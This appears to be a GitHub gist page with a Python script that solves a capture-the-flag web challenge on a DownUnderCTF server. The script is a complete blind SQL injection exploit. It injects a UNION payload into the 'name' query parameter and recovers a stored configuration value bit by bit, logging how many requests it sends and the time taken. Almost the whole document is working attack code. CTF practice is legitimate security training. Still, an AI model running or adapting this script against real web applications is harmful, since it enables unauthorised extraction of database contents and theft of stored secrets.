Skip to content

Instantly share code, notes, and snippets.

@scarvell
Last active September 25, 2020 02:22
Show Gist options
  • Save scarvell/517327f9cd49f00d8bf462345f7550e8 to your computer and use it in GitHub Desktop.
Save scarvell/517327f9cd49f00d8bf462345f7550e8 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import requests, string, binascii, sys, time
uuid = "04f614a4-fc01-11ea-b4a9-ca5544c5d70c" # replace with space uuid
url = 'https://chal.duc.tf:30103/circle/{}/people'.format(uuid)
#query = "select version()"
query = "select cfg_value FROM the_cfg"
flag = ""
pos = 1
request_count = 0
start = time.time() # calculate how long it takes to extract flag
while True:
i = 1
binary = "0"
for i in [64,32,16,8,4,2,1]:
request_count += 1
payload = '" and 1=0 union select id from circle where (ascii(mid(({}),{},1))&{}={})-- -'.format(query, pos,i,i);
r = requests.get(url, params={"name": payload})
binary += "1" if ("- is part of your circle" in r.text) else "0"
sys.stdout.write(binary)
sys.stdout.flush()
flag += chr(int(binary, 2))
if binary == "00000000": break
pos += 1
done = time.time();
print("\n[*] time: {}".format(done-start))
print("\n[*] request count: {}".format(request_count))
print("\n[*] flag: {}".format(flag))
print("[*] done")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment